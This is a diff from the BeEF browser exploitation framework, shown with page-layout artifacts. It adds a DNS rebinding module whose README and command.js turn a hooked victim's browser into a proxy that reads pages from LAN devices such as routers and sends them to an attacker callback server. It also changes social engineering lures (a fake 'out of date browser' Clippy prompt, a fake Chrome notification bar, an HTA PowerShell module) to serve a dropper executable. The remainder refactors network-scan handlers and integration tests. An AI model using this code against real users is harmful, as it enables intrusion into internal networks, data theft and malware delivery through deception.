print_debug("Hooked browser found HTTP server #{ip}:#{port}")
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
59
modules/network/dns_rebinding/README.md
Normal file
59
modules/network/dns_rebinding/README.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack #
|
||||
|
||||
## How does attack work in general? ##
|
||||
|
||||
Attacker must have some domain and DNS server responds to DNS query for this domain.
|
||||
|
||||
When client's browser connects to the attacker's domain it gets two IP addresses:
|
||||
|
||||
* First IP address in the DNS response is address of Web page with malicious JavaScript.
|
||||
|
||||
* Second IP address is from victim's LAN, it is a target address.
|
||||
|
||||
The client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's
|
||||
JavaScript.
|
||||
|
||||
When the attacker's JavaScript initiates a request back to the attacker's domain via an
|
||||
XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However,
|
||||
since the client's IP is now blocked, the browser will receive a TCP reset packet from the
|
||||
attacker's Web server.
|
||||
|
||||
The browser will automatically attempt to use the second IP address listed in the DNS response,
|
||||
which is the IP address of the client’s router. The attacker's JavaScript can now send requests to
|
||||
the router as well as view the responses.
|
||||
|
||||
## How to launch attack in BeEF? ##
|
||||
|
||||
1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar.
|
||||
2. Configure DNS Rebinding extension and module. In extension there are four main configs:
|
||||
|
||||
* *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim.
|
||||
|
||||
* *address_http_external* - If you behind NAT
|
||||
|
||||
* *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http.
|
||||
|
||||
* *address_proxy_external* - If you behind NAT
|
||||
|
||||
* *port_ proxy* - 81 by default
|
||||
|
||||
In module main config is *domain*. Module adds DNS rule to BeEF DNS database with the help of this config.
|
||||
|
||||
3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org*
|
||||
4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS.
|
||||
4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server.
|
||||
5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP.
|
||||
For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php
|
||||
6. That is all.
|
||||
|
||||
Extension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack.
|
||||
|
||||
Notice, attack is VERY DEMANDING, there are many things that can break it. For example:
|
||||
1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address.
|
||||
2. If victim's browser have unclear cache with target IP address, browser will use local IP.
|
||||
3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP
|
||||
4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different.
|
||||
|
||||
## References ##
|
||||
1. http://en.wikipedia.org/wiki/DNS_rebinding
|
||||
1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf
|
||||
51
modules/network/dns_rebinding/command.js
Normal file
51
modules/network/dns_rebinding/command.js
Normal file
@@ -0,0 +1,51 @@
|
||||
beef.execute(function() {
|
||||
var domain = "<%= @domain %>"
|
||||
if (window.location.href.indexOf(domain) == -1) {
|
||||
window.location.href = "http://"+domain+"/";
|
||||
} else {
|
||||
//Cut '/' from url
|
||||
var url = window.location.href.slice(0, -1);
|
||||
var url_callback = "<%= @url_callback %>";
|
||||
url_callback += '/?from=from_victim&&';
|
||||
|
||||
function get_next_query() {
|
||||
var xhr_callback = new XMLHttpRequest();
|
||||
//Synchronous because we do nothing without query from BeEF owner
|
||||
xhr_callback.open('GET', url_callback+'que=req', true);
|
||||
xhr_callback.onload = resolv_query;
|
||||
xhr_callback.send(null);
|
||||
}
|
||||
|
||||
function resolv_query() {
|
||||
var path = this.getResponseHeader('path');
|
||||
var method = this.getResponseHeader('method');
|
||||
var data = this.responseText;
|
||||
|
||||
//Asynchronous beacuse XHR2 don't work with responseType when synchronous
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open(method, url+path, true);
|
||||
xhr.responseType = 'arraybuffer'
|
||||
xhr.onload = function(e) {
|
||||
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
|
||||
beef.debug(blob);
|
||||
xhr_cb = new XMLHttpRequest();
|
||||
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
|
||||
xhr_cb.send(blob);
|
||||
|
||||
elem = document.createElement("div");
|
||||
elem.id = 'log';
|
||||
elem.innerHTML = 'Downloaded: '+path;
|
||||
document.body.insertBefore(elem, document.body.childNodes[0]);
|
||||
}
|
||||
xhr.send(data);
|
||||
}
|
||||
|
||||
xhr1 = new XMLHttpRequest();
|
||||
xhr1.open('GET', url+'/?load', false);
|
||||
xhr1.send(null);
|
||||
if (xhr1.status == 200) {
|
||||
setInterval(get_next_query, 1000);
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
18
modules/network/dns_rebinding/config.yaml
Normal file
18
modules/network/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
beef:
|
||||
module:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "DNS Rebinding"
|
||||
description: "dnsrebind"
|
||||
domain: "dnsreb.beefproject.com"
|
||||
authors: ["Milovanov T.I."]
|
||||
target:
|
||||
working:
|
||||
C:
|
||||
min_ver: 1
|
||||
max_ver: 40
|
||||
O:
|
||||
min_ver: 1
|
||||
max_ver: 27
|
||||
not_working: ["All"]
|
||||
50
modules/network/dns_rebinding/module.rb
Normal file
50
modules/network/dns_rebinding/module.rb
Normal file
@@ -0,0 +1,50 @@
|
||||
class Dns_rebinding < BeEF::Core::Command
|
||||
def self.options
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s
|
||||
return [{
|
||||
'name'=>'target',
|
||||
'value'=>'192.168.0.1'
|
||||
},
|
||||
{
|
||||
'name'=>'domain',
|
||||
'value'=>domain
|
||||
},
|
||||
{
|
||||
'name'=>'url_callback',
|
||||
'value'=>url_callback
|
||||
}]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
|
||||
addr = dr_config['address_http_external']
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
target_addr = "192.168.0.1"
|
||||
|
||||
if @datastore[0]
|
||||
target_addr = @datastore[0]['value']
|
||||
end
|
||||
if @datastore[1]
|
||||
domain = @datastore[1]['value']
|
||||
end
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
dns.remove_rule!(id)
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
end
|
||||
end
|
||||
@@ -35,12 +35,7 @@ class Get_http_servers < BeEF::Core::Command
|
||||
cid = @datastore['cid'].to_i
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]")
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid)
|
||||
r.save
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -37,11 +37,8 @@ class Identify_lan_subnets < BeEF::Core::Command
|
||||
next if ip.nil?
|
||||
next unless ip.to_s =~ /^([\d\.]+)$/
|
||||
next unless BeEF::Filters.is_valid_ip?(ip)
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
|
||||
print_debug("Hooked browser found host #{ip}")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
print_debug("Hooked browser found host #{ip}")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -256,6 +256,7 @@ beef.execute(function() {
|
||||
"Netscape iPlanet",
|
||||
"80","http",true,
|
||||
"/mc-icons/menu.gif",21,18),
|
||||
new Array("Kemp Load Master", "443", "https", false, "/kemplogo.png",951,75),
|
||||
new Array(
|
||||
"m0n0wall",
|
||||
"80","http",false,
|
||||
@@ -263,6 +264,7 @@ beef.execute(function() {
|
||||
new Array("SMC Router","80","http",false,"/images/logo.gif",133,59)
|
||||
|
||||
// Uncommon signatures
|
||||
//new Array("Rejetto HttpFileServer", "8080", "http",i true, "/~img27",16,16),
|
||||
//new Array("Citrix MetaFrame", "80", "http", false, "/Citrix/MetaFrameXP/default/media/nfusehead.gif",230,41),
|
||||
//new Array("Oracle E-Business Suite","80","http",false,"/OA_MEDIA/FNDSSCORP.gif",134,31),
|
||||
//new Array("OracleAS Reports Service","80","http",false,"/reports/images/oraclelogo_sizewithprodbrand.gif",133,20),
|
||||
|
||||
@@ -35,14 +35,9 @@ class Internal_network_fingerprinting < BeEF::Core::Command
|
||||
url = $5
|
||||
session_id = @datastore['beefhook']
|
||||
cid = @datastore['cid'].to_i
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found '#{discovered}' [ip: #{ip}]")
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => discovered, :cid => cid)
|
||||
r.save
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => discovered, :cid => cid)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -25,20 +25,18 @@ class Fingerprint_routers < BeEF::Core::Command
|
||||
service = $4
|
||||
session_id = @datastore['beefhook']
|
||||
cid = @datastore['cid'].to_i
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service).empty?
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found network service " + service + " [proto: #{proto}, ip: #{ip}, port: #{port}]")
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
|
||||
end
|
||||
elsif @datastore['results'] =~ /^ip=(.+)&device=(.+)/
|
||||
ip = $1
|
||||
device = $2
|
||||
session_id = @datastore['beefhook']
|
||||
cid = @datastore['cid'].to_i
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip, :type => device).empty?
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found network device " + device + " [ip: #{ip}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => device, :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :type => device, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -37,11 +37,8 @@ class Ping_sweep < BeEF::Core::Command
|
||||
if @datastore['results'] =~ /host=([\d\.]+) is alive/
|
||||
ip = $1
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -39,14 +39,9 @@ class Port_scanner < BeEF::Core::Command
|
||||
session_id = @datastore['beefhook']
|
||||
proto = 'http'
|
||||
cid = @datastore['cid'].to_i
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service).empty?
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found network service [ip: #{ip}, port: #{port}]")
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
|
||||
r.save
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => service, :cid => cid)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
2
modules/social_engineering/clippy/assets/README.txt
Normal file
2
modules/social_engineering/clippy/assets/README.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
heretic-clippy is copyright (c) 2013 sprky0
|
||||
Homepage: https://github.com/sprky0/heretic-clippy
|
||||
BIN
modules/social_engineering/clippy/assets/clippy-main.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-main.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 238 B |
BIN
modules/social_engineering/clippy/assets/clippy-speech-mid.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-speech-mid.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 142 B |
BIN
modules/social_engineering/clippy/assets/clippy-speech-top.png
Normal file
BIN
modules/social_engineering/clippy/assets/clippy-speech-top.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 185 B |
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Social Engineering"
|
||||
name: "Clippy"
|
||||
description: "Brings up a clippy image and asks the user to do stuff."
|
||||
description: "Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
|
||||
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
|
||||
@@ -4,12 +4,25 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Clippy < BeEF::Core::Command
|
||||
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png','/clippy/clippy-speech-bottom','png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png','/clippy/clippy-speech-mid','png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png','/clippy/clippy-speech-top','png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png','/clippy/clippy-main','png')
|
||||
end
|
||||
|
||||
def self.options
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
base_host = "#{proto}://#{beef_host}:#{beef_port}"
|
||||
|
||||
return [
|
||||
{'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'},
|
||||
{'name' =>'clippydir', 'description' =>'Webdir containing clippy images', 'ui_label'=>'Clippy image directory', 'value' => "#{base_host}/clippy/"},
|
||||
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
|
||||
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'},
|
||||
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => "#{base_host}/dropper.exe"},
|
||||
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
|
||||
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
|
||||
]
|
||||
@@ -21,6 +34,10 @@ class Clippy < BeEF::Core::Command
|
||||
#
|
||||
def post_execute
|
||||
save({'answer' => @datastore['answer']})
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Social Engineering"
|
||||
name: "Fake Notification Bar (Chrome)"
|
||||
description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below."
|
||||
description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
|
||||
authors: ["xntrik", "bcoles"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
|
||||
@@ -6,8 +6,14 @@
|
||||
class Fake_notification_c < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
base_host = "#{proto}://#{beef_host}:#{beef_port}"
|
||||
|
||||
return [
|
||||
{'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', 'width'=>'150px'},
|
||||
{'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width'=>'150px'},
|
||||
{ 'name' => 'notification_text',
|
||||
'description' => 'Text displayed in the notification bar',
|
||||
'ui_label' => 'Notification text',
|
||||
|
||||
@@ -7,12 +7,16 @@ class Hta_powershell < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
|
||||
host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
||||
port = BeEF::Core::Configuration.instance.get('beef.http.port')
|
||||
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
|
||||
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
|
||||
base_host = "#{proto}://#{beef_host}:#{beef_port}"
|
||||
|
||||
ps_url = @configuration.get('beef.extension.social_engineering.powershell.powershell_handler_url')
|
||||
|
||||
return [
|
||||
{'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "http://#{host}:#{port}"},
|
||||
{'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "#{base_host}" },
|
||||
{'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"}
|
||||
]
|
||||
end
|
||||
|
||||
@@ -25,7 +25,7 @@ class BeefTest
|
||||
session.fill_in 'user', :with => 'beef'
|
||||
session.fill_in 'pass', :with => 'beef'
|
||||
session.click_button('Login')
|
||||
sleep 20.0
|
||||
sleep 10.0
|
||||
|
||||
session
|
||||
end
|
||||
@@ -46,4 +46,4 @@ class BeefTest
|
||||
victim
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,8 +6,8 @@
|
||||
BEEF_TEST_DIR = "/tmp/beef-test/"
|
||||
|
||||
# General constants
|
||||
ATTACK_DOMAIN = "attacker.beefproject.com"
|
||||
VICTIM_DOMAIN = "attacker.beefproject.com"
|
||||
ATTACK_DOMAIN = "127.0.0.1"
|
||||
VICTIM_DOMAIN = "localhost"
|
||||
ATTACK_URL = "http://" + ATTACK_DOMAIN + ":3000/ui/panel"
|
||||
VICTIM_URL = "http://" + VICTIM_DOMAIN + ":3000/demos/basic.html"
|
||||
|
||||
@@ -19,6 +19,8 @@ BEEF_PASSWD = "beef"
|
||||
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
|
||||
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
|
||||
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
|
||||
RESTAPI_NETWORK = "http://" + ATTACK_DOMAIN + ":3000/api/network"
|
||||
RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns"
|
||||
RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng"
|
||||
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"
|
||||
RESTAPI_WEBRTC = "http://" + ATTACK_DOMAIN + ":3000/api/webrtc"
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest_client'
|
||||
require 'rest-client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
require '../common/beef_test'
|
||||
@@ -173,4 +173,4 @@ class TC_DebugModules < Test::Unit::TestCase
|
||||
assert JSON.parse(data)["port_status"].include?("open")
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest_client'
|
||||
require 'rest-client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ class TC_Jools < Test::Unit::TestCase
|
||||
return new Jools([]);"
|
||||
jools_obj = victim.execute_script(script)
|
||||
assert_not_nil jools_obj
|
||||
victim.reset_session!
|
||||
victim.driver.browser.close
|
||||
end
|
||||
|
||||
#test simple jools rule example
|
||||
@@ -44,6 +44,7 @@ class TC_Jools < Test::Unit::TestCase
|
||||
return result.state;"
|
||||
result = victim.execute_script(script)
|
||||
assert_equal result,'on'
|
||||
victim.driver.browser.close
|
||||
end
|
||||
|
||||
#test jools chaining example
|
||||
@@ -110,5 +111,6 @@ class TC_Jools < Test::Unit::TestCase
|
||||
assert_not_equal results[1]['color'], 'green'
|
||||
assert_equal results[2]['color'],'yellow'
|
||||
assert_not_equal results[3]['color'], 'yellow'
|
||||
victim.driver.browser.close
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,57 +6,66 @@
|
||||
require 'test/unit'
|
||||
require '../common/test_constants'
|
||||
require '../common/beef_test'
|
||||
require 'rspec/expectations'
|
||||
|
||||
class TC_login < Test::Unit::TestCase
|
||||
class TC_Login < Test::Unit::TestCase
|
||||
include RSpec::Matchers
|
||||
|
||||
def test_log_in
|
||||
session = Capybara::Session.new(:selenium)
|
||||
session.visit(ATTACK_URL)
|
||||
sleep 2.0
|
||||
BeefTest.save_screenshot(session)
|
||||
session.has_content?('BeEF Authentication')
|
||||
session.should have_title('BeEF Authentication')
|
||||
session.fill_in 'user', :with => 'beef'
|
||||
session.fill_in 'pass', :with => 'beef'
|
||||
BeefTest.save_screenshot(session)
|
||||
session.click_button('Login')
|
||||
sleep 20.0
|
||||
session.has_content?('logout')
|
||||
sleep 10.0
|
||||
session.should have_content('Logout')
|
||||
BeefTest.save_screenshot(session)
|
||||
session.driver.browser.close
|
||||
end
|
||||
|
||||
def test_beef_test_login_function
|
||||
session = BeefTest.login
|
||||
session.has_content?('logout')
|
||||
session.should have_content('Logout')
|
||||
BeefTest.save_screenshot(session)
|
||||
session.driver.browser.close
|
||||
end
|
||||
|
||||
def test_log_out
|
||||
session = BeefTest.login
|
||||
session.click_link('Logout')
|
||||
session.has_content?('BeEF Authentication')
|
||||
sleep 2.0
|
||||
session.should have_title('BeEF Authentication')
|
||||
BeefTest.save_screenshot(session)
|
||||
session.driver.browser.close
|
||||
end
|
||||
|
||||
def test_beef_test_logout_function
|
||||
session = BeefTest.login
|
||||
session = BeefTest.logout(session)
|
||||
session.has_content?('BeEF Authentication')
|
||||
sleep 2.0
|
||||
session.should have_title('BeEF Authentication')
|
||||
BeefTest.save_screenshot(session)
|
||||
session.driver.browser.close
|
||||
end
|
||||
|
||||
def test_logs_tab
|
||||
session = BeefTest.login
|
||||
session.click_on('Logs')
|
||||
session.has_content?('logout')
|
||||
session.has_content?('Hooked Browsers')
|
||||
session.has_content?('Type')
|
||||
session.has_content?('Event')
|
||||
session.has_content?('Date')
|
||||
session.has_content?('No logs to display')
|
||||
session.has_content?('Page')
|
||||
session.should have_content('Logout')
|
||||
session.should have_content('Hooked Browsers')
|
||||
session.should have_content('Type')
|
||||
session.should have_content('Event')
|
||||
session.should have_content('Date')
|
||||
session.should have_content('Page')
|
||||
session.should have_content('User with ip 127.0.0.1 has successfuly authenticated in the application')
|
||||
|
||||
BeefTest.save_screenshot(session)
|
||||
BeefTest.logout(session)
|
||||
session.driver.browser.close
|
||||
end
|
||||
|
||||
def test_hooking_browser
|
||||
@@ -65,20 +74,22 @@ class TC_login < Test::Unit::TestCase
|
||||
|
||||
sleep 5.0
|
||||
|
||||
attacker.has_content?(VICTIM_DOMAIN)
|
||||
attacker.has_content?('127.0.0.1')
|
||||
attacker.should have_content(VICTIM_DOMAIN)
|
||||
attacker.should have_content('127.0.0.1')
|
||||
attacker.click_on('127.0.0.1')
|
||||
|
||||
sleep 1.0
|
||||
|
||||
attacker.has_content?('Details')
|
||||
attacker.has_content?('Commands')
|
||||
attacker.has_content?('Rider')
|
||||
attacker.should have_content('Details')
|
||||
attacker.should have_content('Commands')
|
||||
attacker.should have_content('Rider')
|
||||
|
||||
BeefTest.save_screenshot(attacker)
|
||||
BeefTest.save_screenshot(victim)
|
||||
|
||||
BeefTest.logout(attacker)
|
||||
attacker.driver.browser.close
|
||||
victim.driver.browser.close
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
209
test/integration/tc_network_rest.rb
Normal file
209
test/integration/tc_network_rest.rb
Normal file
@@ -0,0 +1,209 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest-client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
|
||||
class TC_NetworkRest < Test::Unit::TestCase
|
||||
|
||||
class << self
|
||||
|
||||
def startup
|
||||
$root_dir = '../../'
|
||||
$:.unshift($root_dir)
|
||||
|
||||
# login and get api token
|
||||
